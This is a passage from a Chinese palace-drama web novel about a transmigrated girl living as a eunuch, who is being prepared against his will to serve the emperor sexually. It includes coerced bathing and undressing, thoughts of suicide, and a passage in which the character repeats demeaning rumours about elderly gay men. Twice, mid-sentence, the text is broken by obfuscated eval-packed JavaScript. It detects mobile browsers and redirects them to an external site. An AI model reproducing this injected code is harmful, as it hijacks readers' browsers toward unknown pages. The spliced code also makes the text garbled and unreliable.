她又看向关禧的脸。几日水米未尽,他脸颊深深凹陷,唇色灰败,唯有那双眼睛,燃烧着一种近乎癫狂的亮光,与她记忆中那些认命,麻木或野心勃勃的眼神都不同。 心,像是被那目光烫了一下,又像是被什么东西狠狠撞中,她绷紧了下颌,试图抽回衣摆,语气冷硬:“放手!我看你是烧糊涂了,满口胡言!我什么也不知道,只知道你再不吃饭吃药,就真要去见阎王了!” 37.第 37 章 “不!你知道!” 关禧死死拽着,指尖几乎要嵌进那柔软的衣料里,他急促地喘息着,胸口剧烈起伏,每一次呼吸都带着灼痛,“你刚才说了回去,你为什么会说回去?楚玉!你看出来了是不是?我和他们不一样,我和小离子不一样!” 楚玉确实早有怀疑。 从最早在净舍留意到这个容貌过盛,在高烧濒死中突然诈尸并爆出截然不同语汇的少年,到他被调入承华宫后,展露出的与出身不符的细致,识字能力,还有那两首意境迥异,绝非农家子能胡诌出的诗句,再到他某些时候过于异常的眼神和反应,对自己身体那种憎恶的疏离感…… 这一切,都指向一个惊世骇俗的可能。 宫中不是没有借尸还魂,孤魂野鬼附体的传闻,早年还有过妃嫔被指妖邪附体而被秘密处死的旧事。 楚玉见识过人心鬼蜮,对这些怪力乱神之说,信则有,不信则无。但她更相信自己的眼睛和直觉。 眼前这个人,或者说,占据着小离子这具躯壳的东西,绝非原本那个怯懦懵懂,只为求一口饭食活命的农家少年李景和。 她弯下腰,另一只手扣住了关禧攥着她衣摆的手腕,指尖用力,“我是看出来了,我看出来你不像小离子,李景和早就该死在净舍的草席上了,现在顶着这副皮囊的是谁?是哪里来的孤魂野鬼?还是什么山精妖魅?” 她盯着关禧骤然睁大的眼睛,一字一句,“这宫里,最容不得的就是你这种不一样,娘娘容你,是因为你还有用,因为你顶着这张脸,或许还能在陛下那儿换点好处。若让人知道这壳子里换了芯,是个不知来历的邪祟,你觉得你会是什么下场?烈火焚身?还是被打入暗牢,永生永世不见天日?” 关禧的身体颤抖起来,不是因为恐惧,而是因为……希望,楚玉信这个,她相信有孤魂野鬼,她至少接受壳子里换了芯这种设定,这就意味着,他最大的秘密,在这个世界并非完全无法理解,至少,在楚玉这里,有被认知的可能。 “我不是邪祟!”他眼神亮得惊人,像是抓住了救命稻草,又像是终于找到了一个可以宣泄的出口,不管不顾地低喊出来,“我也不知道我是怎么来的!我醒过来,就在停尸房,就成了这样,我不属于这里,我真的想回去!想回家!回我该去的地方!” 他紧紧反握住楚玉扣着他手腕的手,语速快得近乎癫狂:“楚玉,你帮帮我,你既然看得出来,你一定有办法对不对?或者你告诉我,宫里有没有记载过类似的事?有没有人回去过?” 楚玉被他眼中的期盼烫得手指一颤,想要甩开他。回去?回哪里去?一个借尸还魂的孤魂,还想回到原来的身体?简直是痴人说梦,这深宫之中,只有吞噬,没有归途。 可看着他因为激动而泛起的病态潮红,看着他眼中那簇拼命燃烧,注定无望的火焰。 她忽然想起多年前,自己也曾用这样不甘的眼神,仰望过无法逾越的宫墙。她闭了闭眼,再睁开时,眸中只剩下深不见底的寒潭。 “没有。”她斩钉截铁,声音冷得没有一丝温度,“我朝禁绝巫蛊妖邪,宫中更视此为禁忌。从未有记载,也绝不可能有。所有不一样的东西,最终的下场,都是被清理得干干净净,仿佛从未存在过。” 她用力,一根一根掰开关禧死死攥着她的手指,那力道不容抗拒。 “你听好了,不管你是谁,从哪里来,既然进了这具身子,成了小离子,你就只有这一条路可走——当好你的小离子,办好娘娘的差事,养好你的身体。别再想那些虚无缥缈的东西,也别再试探我的底线。” 关禧的手指被强行掰开,脱力地垂落在地,指尖还残留着衣料的触感,他看着楚玉决绝的脸,眼中的火光一点点熄灭,只剩下无边的灰暗和死寂,刚刚升起的那点微末希望,被她亲手掐灭,比从未有过更让人绝望。 “所以,”他喃喃着,“无论如何,我都只能等着被送去侍寝,是吗?” 最后两个字,他说得极其艰难。 楚玉背对着他,身形僵了一瞬。她没有回答这个问题,弯腰捡起地上之前打翻的碎碗片,随手丢到墙角。 “我会让人再送吃的和药来。你若再不吃,我就真叫人灌了。小离子,想想你现在的样子,连站都站不稳,除了听话,你还有什么资格谈条件?” 她走到门口,手搭在门闩上,背对着地上那个仿佛被抽走了所有生气的影子,沉默了片刻。 丢下了一句话: “至少活着……活着,或许还能看到明天的太阳。死了,就真的什么都没了,包括你那些不一样的念想。” 说完,她拉开门,身影没入门外渐浓的夜色中,没有再回头。 门轻轻合拢,将一室冰冷和绝望重新锁在关禧周围。 他瘫坐在地上,背靠着床沿,久久没有动弹。 楚玉的话像最后的判决,封死了他所有幻想的退路。回去是痴心妄想,死亡亦不被允许。他只能在这具残缺的躯壳里,清醒地,一步步走向那个被安排好的屈辱终点。 可是…… 他缓缓抬起手,看着自己苍白瘦削,还在微微颤抖的手指。 楚玉最后那句话,是什么意思?仅仅是劝他苟活?还是……一丝极其隐晦,连她自己都未必承认的松动? “活着,或许还能看到明天的太阳……” 关禧低低地重复了一遍,嘴角扯出一个比哭还难看的弧度。 他慢慢撑着床沿,用尽全身力气,极其艰难地,一点一点,重新挪回了床上。每动一下,都牵扯着虚弱的身体和未愈的伤口。 躺回被褥里,他睁着眼,望着黑漆漆的屋顶。 绝食求死,看来是行不通了。楚玉说到做到,她真的会叫人灌他。那样更屈辱,而且死不了。 或许……她是对的? 至少活着。 活着,才能记住自己是谁。活着,才有可能……抓住那渺茫到几乎不存在的变数? 不知过了多久,门外再次响起脚步声。这次不是楚玉,是那个每日送饭的小太监,端着一碗新熬的,热气腾腾的米粥和一碗黑乎乎的汤药,小心翼翼地放在桌上,又偷偷看了一眼床上睁着眼面色灰败的关禧,不敢多言,匆匆退下。 关禧盯着那碗粥看了很久,直到热气渐渐稀薄。 最终,他极其缓慢地,伸出手,端起了那碗已经微温的粥。 勺子碰到碗沿,发出轻微的叮当声。 他舀起一勺,送入口中。温热的稀粥滑过干涩灼痛的喉咙,落入空荡荡的胃里。 味道很淡,甚至有些寡味。 但他一口一口,将那碗粥喝得干干净净。 然后,是那碗苦得让人皱眉的汤药。 药汁入腹,带来一阵暖意,也伴随着更深的疲惫和眩晕。 他放下空碗,重新躺下,闭上眼。 眼泪,从眼角滑落,没入鬓边。 认命了。 或者更准确地说,他把回去这个念头,像最见不得光的秘密,深深埋进了心底最深处,盖上厚厚的土,再覆上名为“活下去”的石板。 既然死不了,也回不去,那就先活着吧。 至少,得有力气活着。 第二日清晨,当小太监再次端着米粥和汤药进来时,看见的不再是床上那具毫无生气的躯壳,而是一个已经自己坐起来,背靠着墙,面色苍白,眼神有了些微不同的人。 关禧接过粥碗,安静地吃完,连碗底都刮得干干净净,然后端起药碗,眉头都没皱一下,一饮而尽。 他把空碗递回去,“告诉青黛姐姐,药喝完了。” 小太监愣了愣,连忙应下,端着空碗退了出去。 楚玉很快来了。她站在门口,看着靠在床头闭目养神的关禧,目光在他脸上停留片刻,确认他不是在装模作样,眼神几 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等脚步稳了,他开始尝试更温和的活动。清晨空气清冽时,他会找一片无人的角落,缓慢地伸展手臂,活动脖颈和腰肢,都是些从现代记忆中翻找出来的,最基础的拉伸动作。不敢太剧烈,怕牵扯到未愈的伤口,也怕引人注目。 营养跟上,活动量增加,年轻身体的恢复能力开始显现。 凹陷的脸颊渐渐饱满起来,不再是那种死气沉沉的灰败,透出一点玉质的光泽。最明显的是眼神,不再空洞涣散,尽管深处依旧沉淀着化不开的沉郁,但至少有了焦距,看人时,那双潋滟的丹凤眼会微微转动,映出些许光影。 夏季在不知不觉中过去,蝉鸣渐歇,早晚的风里带上了凉意。 当第一片梧桐叶开始泛黄时,关禧下面的伤,终于好得差不多了。张太医最后一次来看诊,仔细检查后,点了点头:“伤口愈合良好,皮肉平整,只是新肉娇嫩,还需注意,莫要摩擦碰撞。气血也补回来不少,脉象平稳有力多了。” 关禧安静地听着,心里没什么波澜。好了,意味着有用了,也意味着离某些事情更近了。 或许是因为彻底放下心结,又或许是培元固本的药方开始起效,亦或是这具身体原本就处在抽条的年纪,关禧的变化越发明显。 他长高了些许,原本合身的靛青色太监服,袖口和裤脚都显得有些短了。肩膀也宽了一点点,不再是虚弱无力的嶙峋,有了骨架撑起的挺拔。最让他自己都感到诧异的是,某次沐浴后对镜擦拭,竟在平坦紧实的小腹上,隐约看到了肌肉的轮廓,那是这段时间坚持活动和充足营养的意外馈赠。 脸的变化更微妙。少年人的稚气在病弱褪去后消散了些,面部线条更加清晰。眉目精致得过分,但或许是因为眼神沉淀了太多东西,那份精致不再显得柔弱,透出一种介于少年与青年之间模糊性别的清冷感。嘴唇有了血色,是淡淡的绯色,不说话时微微抿着,唇角自然下垂,带着一种拒人千里的疏离。 他整个人,就像一枚被精心拭去尘埃的冷玉,在秋日疏淡的光线下,散发着内敛而冰凉的光泽。 这日午后,秋阳暖融融地照进书斋。 关禧正在整理一批新送来的宫外采买账目,神情专注,侧脸在光线下线条明晰。 冯媛由楚玉陪着走进来,目光不经意地扫过关禧。 关禧闻声立刻起身,垂首行礼,身姿笔挺,肩背舒展,恭敬地微躬着,再无往日那种瑟缩畏怯之态。 “奴才给娘娘请安。” 声音清朗了些,虽仍带着太监特有的细柔,却不再气弱。 冯媛脚步微顿,视线在他身上停留了一瞬,比平时略长了一两秒,才淡淡“嗯”了一声,走到主位坐下。楚玉垂眸立于她身侧,眼观鼻鼻观心,仿佛未曾察觉那一瞬间的凝滞。 “账目核对得如何了?”冯媛问,语气如常。 38.第 38 章 关禧一一禀报,条理清晰,数字准确。 冯媛听着,指尖无意识地摩挲着腕上一只翠玉镯子,目光再次飘向垂首立在下方的少年。阳光勾勒出他挺直的鼻梁和长长的睫毛,投下淡淡的阴影。那身略显短小的太监服,勾勒出窄瘦的腰身和逐渐展开的肩线。 年轻,健康,带着一种未经人事又沉静冷冽的矛盾气质,偏偏又顶着一张足以令人失神的脸。 冯媛端起茶盏,轻轻吹了吹浮沫。皇帝不好女色,她入宫这些年,早已心知肚明。所谓协理六宫,昭仪尊位,不过是家族势力与皇帝制衡后宫的需要,与男女之情无关。这深宫长夜,寂寞如雪,她早已习惯,也善于用理智和权谋将那些属于女人的渴望深深冰封。 可眼前这个……算是男人吗?不完整,身份卑贱,是棋子,是器物。但他确实年轻,鲜活,有着介于男女之间的独特吸引力,而且就在她触手可及的地方。 一种极其隐秘,连她自己都未必愿意承认的念头,像水底的暗流,悄无声息地涌动了一下。 “培元固本的药,开始用了吗?”她忽然问,声音听不出情绪。 关禧垂首答道:“回娘娘,张太医说外伤已愈,三日前已开始服用新方。” “嗯。”冯媛放下茶盏,发出一声轻响,“陛下日理万机,但总有闲暇之时。既然王公公当初将你送进来,陛下也过问过,有些事,便需早做准备。” “你这身子既然养好了,该学的规矩,该懂的事,就不能再耽搁。免得日后……到了御前,手足无措,失了体统,也辜负了本宫一番调理之心。” 关禧的手指在袖中悄然握紧,指甲掐进掌心,传来清晰的痛感。 “娘娘教诲,奴才谨记。”他声音平稳,听不出波澜。 冯媛看了他片刻,轻轻笑了一声,“光谨记可不够。有些事,纸上谈兵终是浅。需得实地演练一番,方知深浅,也免得临场生怯。” 她端起茶盏,又抿了一口,语气恢复了那种从容淡然的吩咐口吻,仿佛在说一件再寻常不过的差事: “这样吧,从明日起,除了书斋的差事,晚膳后,你到西暖阁来。本宫让青黛……或是宫里别的妥帖人,先教教你,该如何伺候。总得先练练手,熟悉熟悉,才知道到了陛下面前,该如何行事,才不算辱没了承华宫的名头,也才对得起……你这张脸,和本宫这些时日的悉心栽培。” 西暖阁。晚膳后。练练手。伺候。 每一个词,都像淬了毒的针,扎在关禧紧绷的神经上。 冯媛的意思,再明白不过。皇帝不好女色,却有召幸内侍的癖好。她作为协理六宫,又保管着皇帝感兴趣之人的妃嫔,有责任确保这件礼物符合标准,甚至……提前验看,调试,确保万无一失。 而练手的对象,可以是楚玉,也可以是宫里别的妥帖人。这是在告诉他,在承华宫内,他必须服从,必须学会取悦,无论是为了应付皇帝,还是……应付她此刻难以言说的心思。 “是。”他从牙缝里挤出这个字,声音低哑,“奴才遵命。” 冯媛满意了,挥了挥手:“下去吧。好好准备。” 关禧躬身,一步步退出书斋。 楚玉自始至终沉默地站在冯媛身侧,没有表情。只是在关禧转身退出时,她的目光极快地掠过他僵硬的背影,眼底深处,一丝极其复杂的暗流涌过,快得让人抓不住。 关禧的背影消失在书斋门外,那抹靛青色融入廊下渐浓的秋意,最后一点衣角也看不见了。 书斋内重归寂静,只余窗外偶尔掠过的风声,和香炉里迦南香细密燃烧的噼啪微响。午后的光线斜斜照入,在光洁的金砖地上投下长长的窗格影,也将冯媛端坐的身影勾勒得格外清晰,半边沐在光里,半边隐在暗处。 楚玉垂手立在冯媛身侧一步之遥,眼观鼻,鼻观心,只有那微微蜷起,藏在袖袍中的指尖,泄露了一丝极细微的紧绷。 “青黛。你觉得,小离子近来如何?”冯媛忽然开口,伸出保养得宜染着淡淡蔻丹的手指,轻轻拂过方才关禧呈上核对完毕,墨迹已干的账册边缘,动作慢条斯理。 楚玉眼帘微抬,视线落在冯媛优雅的侧脸上,语气平稳无波:“回娘娘,他伤势已愈,身子调理得不错,做事也算勤勉妥当。” “只是勤勉妥当?”冯媛侧过头,目光转向楚玉,唇角含着一丝极淡的笑意,那笑意却未达眼底,“本宫瞧着他,倒像是脱胎换骨了一般。不仅身子骨长开了,连气度也沉稳了不少。方才回话时,不卑不亢,倒有几分模样了。” 楚玉心中一凛,“是娘娘调理得当,恩威并施,他自然知道分寸进退。” “知道分寸?”冯媛重复,指尖在账册上敲了敲,发出极轻的笃笃声,“只怕有时候,知道的太多了,反而不是好事。又或者……是有人教得太好,让他生出了不该有的倚仗?” 这话里的机锋,已有些露骨。 楚玉立刻屈膝,深深福礼下去,声音带上了恰到好处的惶恐:“奴婢不敢。教导下人谨守本分,是奴婢分内之事。小离子若有任何行差踏错,皆是奴婢督导不力,请娘娘责罚。” 冯媛没有叫起,任由楚玉保持着屈膝的姿势。她的目光在楚玉纹丝不乱的发髻和挺直的背脊上缓缓扫过,像是在审视一件熟悉的器物,看看是否有哪里出现了细微的裂痕。 “起来吧。”片刻后,她才淡淡道,“你做事,本宫向来是放心的。只是……”她顿了顿,端起手边微凉的茶盏,指尖摩挲着温润的瓷壁,“人心难测,尤其是这般年纪,又生了那样一副模样。有时候,旁人待他稍稍和颜悦色些,他便容易忘了自己的根本,生出些……不切实际的念想。你说是吗,青黛?” 楚玉直起身,垂眸应道:“娘娘明鉴。奴婢定会时时提点,让他牢记自己的身份,绝不敢有半分逾越。” “提点?”冯媛抿了一口茶,将茶盏轻轻搁回桌上,发出一声清脆的磕碰声,“有些事,恐怕不是提点就能管用的。本宫看他,对你倒是格外信服?”最后两个字,她说得又轻又慢,尾音微微上挑。 楚玉背脊的线条几不可察地僵硬了一瞬,旋即恢复:“奴婢不过是奉娘娘之命行事,严加管束罢了。他畏惧娘娘天威,自然对奴婢也不敢违逆。” “畏惧?”冯媛轻笑一声,那笑声里听不出什么温度,“本宫怎么觉得,他看你的眼神,不止是畏惧呢?那晚在浴堂……还有后来他病中,你往来照拂,他可都记在心里。” 楚玉的心猛地一沉。浴堂那晚的变故,娘娘果然知道了。是陈立德?还是其他耳目?她早该料到,在这承华宫,没有什么能真正瞒过冯媛的眼睛。 “浴堂那晚,是奴婢疏忽,未能及时察觉他竟敢暗中窥探,惊吓了娘娘。事后已严加惩戒。至于病中照拂,亦是奉娘娘之命,不敢不尽心。若因此让他有所误会,是奴婢处事不当,请娘娘降罪。” 冯媛静静地看了她一会儿,目光锐利,似乎要穿透她冷静的表象,直看到内里去。 良久,她才缓缓移开视线,重新落在窗外一株开始落叶的梧桐上,语气恢复了那种闲谈般的淡然:“罢了,都是过去的事了。本宫并非怪你。你做事有分寸,懂得何时该严,何时……该松。只是,青黛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯。”冯媛满意地点点头,指尖无意识地拨弄了一下腕上的玉镯,“陛下虽有些特别喜好,但毕竟是天子,规矩体统一样不能少。你要教得仔细些,让他知道,能得陛下青眼,是天大的恩典,该如何感恩,如何承欢,如何让陛下……满意。” 每一个词,都像烧红的针,刺在楚玉早已麻木的心上,可她脸上依旧平静无波。 “是,奴婢一定悉心教导,让他不负娘娘期望。” “好了,这里没你的事了。去准备吧。”冯媛挥了挥手,重新拿起一本账册,仿佛刚才那番暗流涌动的对话从未发生。 楚玉应声,躬身退出了书斋。 直到走出很远,走到回廊拐角无人处,她才停下脚步,背靠着冰冷斑驳的朱红廊柱,深深地吸了一口秋日微凉的空气。 指尖传来的刺痛让她低头,这才发现,不知何时,指甲已深深掐进了掌心,留下几个月牙形的血痕。 冯媛的试探和警告犹在耳边。她看得分明,娘娘不仅要将小离子送上龙床,还要亲手折断任何可能附着在那少年身上不属于器物范畴的枝蔓,包括她楚玉那点未曾言明,甚至自己也未必肯承认的异常关注。 教导他如何伺候皇帝…… 楚玉闭上眼,脑海中浮现出少年苍白却难掩昳丽的侧脸,那双偶尔会流露出不甘惊惶或脆弱的凤眼,以及……那晚浴堂氤氲水汽中,他自厌的一拳。 心口某个地方,传来一阵细密的抽痛。 但仅仅是一瞬。 再睁开眼时,那双眸子已恢复了古井无波的沉静,深不见底,将所有翻涌的情绪彻底掩埋。 她整理了一下毫无褶皱的衣襟,挺直背脊,朝着自己住处方向走去,脚步平稳,没有丝毫迟疑。 既然这是娘娘的命令,是注定要走的路。 那么,她便来做这个教导的人。 亲手,将他打磨成最符合陛下心意的礼物。 也亲手,掐灭自己心底那点不合时宜,危险的星火。 39.第 39 章 晚膳的钟点刚过,承华宫后院的膳棚还残留着饭菜气味与人声余韵。 关禧没什么胃口,只草草扒了几口,便起身将碗筷放回。 邻桌的太监们偷偷觑着他,眼神复杂。 自打他从那场重病中恢复,整个人就像褪去一层旧壳,那苍白面容下透出的沉静,以及日渐挺拔的身姿,都让他在这群灰扑扑的底层内侍中显得格格不入。加上冯昭仪明显的青眼和书斋的清贵差事,暗地里的艳羡与嫉恨,只多不少。 关禧刚走出膳棚不远,一道淡青色的身影便悄无声息地拦在了前路。 “娘娘吩咐,从今晚开始。”楚玉的声音没有起伏,眼神平静地看着他,“跟我来。” 周围隐约投来的视线瞬间变得灼热起来,夹杂着窃窃私语。 关禧下颌微微绷紧,点了点头,跟在她身后半步远的位置。 两人一前一后,穿过逐渐昏暗下来的庭院回廊。不是回西厢小屋的方向,也不是去书斋。 关禧的心一点点沉下去,某个猜测越来越清晰。 果然,楚玉带着他,走向了承华宫后方那处他既熟悉又充满梦魇的浴堂。 夜幕低垂,浴堂小院里只悬着一盏孤灯,在秋风中微微晃动。里面没有点亮太多的灯火,只内间浴池方向透出昏黄温暖的光晕,驱散了些许门口的黑暗。 楚玉推开门,氤氲的水汽混合着清雅的檀香扑面而来。外间已经备好了干净的浴巾,香膏,澡豆,还有一套月白色,质地异常柔软轻薄的崭新绸衣,整齐叠放在紫檀木衣架上。那衣裳的样式,分明不是日常太监或宫女的服饰,倒有几分像……寝衣,却又更透,更暧昧些。 关禧的脚步在门口顿住,胃里一阵翻搅。 “进去。”楚玉的声音在身后响起,不容置疑。 他深吸一口气,迈过门槛。楚玉反手关上了门,将秋夜的凉意与可能窥探的目光都隔绝在外。 “沐浴净身,是第一道规矩。”楚玉走到他面前,目光落在他紧抿的唇和僵硬的肩线上,“陛下爱洁。” 关禧扯了扯嘴角,没说话。 “把衣服脱了。”楚玉的语气像是在吩咐一件再寻常不过的差事。 关禧的手指蜷缩了一下,然后抬起,开始解外袍的系带,动作很慢。外袍,中衣……一件件褪下,堆叠在脚边。直至只剩下最贴身的亵裤。 秋夜的空气带着浴堂特有的潮湿温暖,拂过他裸露的皮肤,激起一层细小的战栗。那具年轻的身体确实养好了许多,瘦削却不嶙峋,肌肤是久不见光的冷白,在昏黄光线下像上好的瓷器,肩线平直,腰身窄瘦,双腿笔直修长。只是胸口平坦,下身被亵裤遮掩的部位,依旧昭示着他残缺的身份。 楚玉的目光就像冰冷的尺,一寸寸丈量过去,没有停留,也没有波澜,“继续。” 关禧闭了闭眼,手指勾住亵裤边缘,褪了下去。彻底暴露在空气与灯光下。新生的皮肉颜色浅淡,疤痕平整,但终究与周围不同。他死死垂着眼,不敢看楚玉,也不敢看水中自己扭曲的倒影。 楚玉对他的僵硬和羞耻视若无睹。她走到浴池边,试了试水温,然后拿起一块柔软的布巾,浸入温度适宜的香汤中。 “过来。” 关禧像是提线木偶,挪到池边。 楚玉就着他站立的姿势,用浸湿的布巾,开始擦拭他的身体。从脖颈开始,沿着锁骨,到肩胛,手臂……她的动作并不温柔,甚至有些公事公办的利落,布巾擦过皮肤,带起细微的摩擦感。 “伺候陛下,首要的是顺服。陛下不喜扭捏作态,也不喜过于木讷。”她的声音近在耳畔,平铺直叙,像在背诵条文,“你的眼睛,不能直视天颜,但也不能总是看着地面。视线最好落在陛下胸前衣襟以下,膝头以上的位置,显得恭敬,又不呆板。” 布巾滑到胸前,平坦的肌肤被温水浸润,泛起淡淡的粉色。关禧的身体绷得像一块石头。 “手要稳,动作要轻。陛下若让你近身伺候,解衣、系带、递物,都需无声无息,恰到好处。”楚玉绕到他身后,布巾擦过脊椎的凹陷,激起他一阵难以抑制的轻颤,“紧张是难免的,但不可抖得太厉害,惹陛下心烦。” 她的指尖偶尔会隔着布巾触碰到他的皮肤,微凉,当布巾擦拭到腰侧,缓缓向下时,关禧终于忍不住,向旁边躲了一步,“够了!” 楚玉的动作顿住,抬眼看他。昏黄光线下,她脸上没什么表情,那双眼睛深不见底。 “这就受不了了?”她问,语气平淡得刺人,“这不过是最基本的清洁。真正伺候的时候,比这……” “我说够了!”关禧打断她,胸口剧烈起伏,苍白的脸上因为激动和羞愤染上不正常的红晕,“楚玉,你这么熟练,是伺候过多少回?冯昭仪让你教导,你就真把自己当成了教习嬷嬷?还是说,你其实很享受这个过程?享受摆弄一个太监?” 他的话像淬了毒的针,狠狠扎过去。 楚玉的眼神骤然冷了下去,捏着布巾的手指收紧,指节泛白。 “你说什么?”她的声音压得很低。 “我说,”关禧豁出去了,迎着她冰冷的视线,嘴角扯出一个讥诮的弧度,“我不想让你教。换个人。陈立德,或者其他哪个老太监,都行。反正都是学怎么伺候人,谁教不是教?何必劳烦您楚玉姑娘亲自动手?您这双手,”他的目光扫过她握着布巾的手,“不是该伺候冯昭仪,或者规划更大局的事情么?” 每一个字都充满了挑衅。他受够了,受够了这种被当成物品般审视摆弄的感觉,更受够了执行这教导的人是她。这让他觉得自己那点可笑又可悲的隐秘心思,连同最后一点尊严,都被扔在地上反复践踏。 楚玉静静地看了他几秒,忽然松开了手,湿漉漉的布巾“啪”地一声掉落在光洁的地面上,溅开一小片水渍。 “换人?”她轻轻重复,向前走了一步,逼近关禧。 两人之间的距离瞬间缩短,关禧能闻到她身上那股清冽又带着浴堂水汽的味道,能看见她眼中自己狼狈又倔强的倒影。 “小离子,”她叫他的名字,声音冷得像浸过寒潭,“你以为你是什么东西?有什么资格挑三拣四?娘娘让我教,是因为我最清楚陛下的喜好,最明白该怎么让你……派上用场。换别人?陈立德?他知道陛下是喜欢人主动些,还是矜持些?知道触碰的界限在哪里?知道怎么在承欢时,既让陛下尽兴,又不过分越矩惹来厌弃?” 她的每一句质问,都像鞭子抽在关禧心上,将他那点可怜的抗拒抽得七零八落。 “还是说,”楚玉的目光锐利如刀,刮过他因为愤怒和羞耻而泛红的脸颊,脖颈,最终落在他紧握的拳头上,“你只是不想让我碰你?觉得被我教导,是玷污了你?让你想起自己那些不该有的、龌龊的心思了?” 关禧的脸色涨红,他像被踩了尾巴的猫,几乎要跳起来:“你胡说!” “我是不是胡说,你心里清楚。”楚玉寸步不让,“在浴堂门口提着灯问你愿不愿意留下的是谁?让你私下叫名字的是谁?你病得要死的时候,一遍遍送药过来的是谁?小离子,我给过你机会,也给过你警告。是你自己,一次次分不清界限,抱有不切实际的幻想。” 她抬手,冰凉的指尖猝不及防地触碰到关禧的下颌,迫使他低下头,直面自己眼中那片汹涌却极度压抑的暗流,“现在,梦该醒了。娘娘把你交给我教导,就是要让你我都看清楚,你到底是什么,该往哪里去。乖乖学,至少还能少受点罪。再摆出这副宁死不屈的嘴脸……”她顿住了,没有说下去,但未尽之言比任何威胁都更具压迫感。 关禧被她钳制着,浑身颤抖,不知是气是恨还是绝望。 楚玉凝视着他眼中逐渐熄灭的光,心底某个角落传来难以察觉的抽痛。但很快,那痛楚便被更坚硬的冰层覆盖。 她松开了手,退后半步。 “把自己洗干净。”她转过身,不再看他,声音恢复了那种平淡无波的吩咐口吻,“香膏要抹匀,尤其是伤处附近,新肉娇嫩,需用香膏仔细养护,不能留任何异味。那套月白绸衣,沐浴后换上。我会在外间等你。” 说完,她径直走向外间,只留下一个决绝的背影。 关禧僵立在原地,温热的香汤蒸汽萦绕着他冰冷的身体。地上那块湿布巾像一团肮脏的抹布。他缓缓蹲下身,捡起布巾,指尖触及那湿冷的柔软,又像被烫到一样松开。 最终,他还是机械地挪到池边,跨入温度适宜的香汤中,将自己沉入水下,任由温暖的液体淹没口鼻。 水波晃动,倒映着穹顶昏暗的灯光。 关禧沉在池底,耳边是水流沉闷的嗡鸣,隔绝了外间所有的声响。水波轻轻晃动,透过眼皮能感受到头顶灯光破碎摇曳的晕影,像一场荒诞迷离的梦。肺部的空气在迅速消耗,传来灼痛的压迫感,他却不想立刻浮上去。 就这样沉下去,会不会简单点? 这个念头只闪过一瞬,便被更强大的生理本能和心底那股顽劣的不甘狠狠掐灭。他猛地蹬腿,破水而出,“哗啦”一声,带起大片水花。他趴在光滑的池沿上,剧烈地咳嗽,喘息,水珠顺着湿透的黑发和苍白的脸颊成串滚落,分不清是浴汤还是别的什么。 没招了。 他抬起手,抹了把脸,靠坐在池边,温热的水流包裹着身体,那套楚玉指定,带着清雅檀香的香膏就放在触手可及的玉碗里。 他舀起一勺,乳白色的膏体在指尖融化,细腻滑润。他机械地将它涂抹在手臂,肩颈,胸口……动作规范,符合教导。 可思绪却像脱缰的野马,冲破了浴堂氤氲的水汽,冲向了更荒诞,更让他恶心又不得不直面的事实。 伺候皇帝。 这四个字像四把生锈的钝刀,反复切割着他来自二十一世纪的神经。他是关禧,十七岁,女生,喜欢香香软软的女孩子,会在深夜偷偷刷百合漫画露出姨母笑。 他最大的烦恼是数学卷子最后一道大题和高考倒计时,而不是如何在一个架空王朝的后宫里,用自己的男性身体去取悦另一个男人。 这算什么?终极形态的OOC?还是地狱笑话现实版? 他甚至苦中作乐地想,如果穿越成妃嫔,至少生理性别一致,恶心归恶心,起码硬件匹配。现在呢?灵魂是女,壳子是男,服务对象是男,性取向是女……这混乱的排列组合,足以让任何一本耽美或百合小说作者CPU烧干。 而且,皇帝……萧衍。 上次短暂的面圣,虽然吓得魂飞魄散,但某些细节却像用刻刀划在了记忆里。年轻,身材高大,面容周正,甚至称得上威严,有种久居上位的疏离感。最重要的是气质,冰冷,淡漠,审视物品般的目光。 那绝对不是一个耽美小说里会描述带有某种暧昧阴柔或狂热占有欲的帝王攻或美人受的气质。关禧脑内飞快闪过看过的无数小说和漫画形象,萧衍更像一个纯粹的权力符号,一个对收集和使用某些特殊物品有兴趣的收藏家。他的兴趣点,可能不在于情爱或欲望本身,而在于拥有和支配带来的掌控感。 那么问题来了,如果皇帝是这种心态,他会在使用过程中,扮演什么角色? 关禧的目光不由自主地投向水中自己模糊的倒影。水波荡漾,那张脸被扭曲得愈发柔媚,湿发贴在颊边,脖颈修长,肩膀单薄,腰线在水下若隐若现……就算他灵魂再抗拒,也不得不承认,小离子这具皮囊,经过这段时间的精心饲养和调理,确实越来越贴近某种刻板印象,纤细,苍白,精致,带着一种易碎又诱人摧折的阴柔美。 这不活脱脱就是那些小说里标准的美人受模板吗?! 所以,大概率……皇帝是上面那个? 这个认知让他胃里一阵翻江倒海,比刚才被迫沐浴时更甚。不是因为他歧视或无法理解,而是这种预设,被物化,单方面承受的位置,彻底碾碎了他最后一点关于或许可以糊弄过去的侥幸。 他仿佛已经能看到那威严的君王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997218|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像摆弄一件新奇的玉器或瓷器一样,剥开他这身月白绸衣,检查礼物的成色,然后…… “呕——”关禧干呕起来,伏在池边,却什么都吐不出。 太恶心了。太屈辱了。 他想起以前在网上看到过的,关于老gay晚年凄惨境地的只言片语,什么老了兜不住屎被护工嫌弃殴打,年轻时玩得花,老了病床前没半个人影,公园角落里找同类取暖却被嫌脏。 那些零碎模糊甚至可能失真的传闻,此刻像毒蛇一样钻进他混沌的脑子,与现实交织,化作更具体,更不堪的画面。 不是他歧视。而是在这绝对权力碾压下,他连一个人的身份都不被承认。他是器物,是玩物。萧衍现在年轻,有权势,可以把他当个新鲜的摆件。可以后呢?等皇帝腻了,或者他自己老了,残了,像块用旧的抹布一样被丢弃?在这深宫里,一个失了宠又身份低贱,身体残缺的太监,会是什么下场?怕是连兜不住屎被护工嫌弃的待遇都轮不到,直接一卷草席扔去化人场,跟当初的小离子一样。 凭什么?! 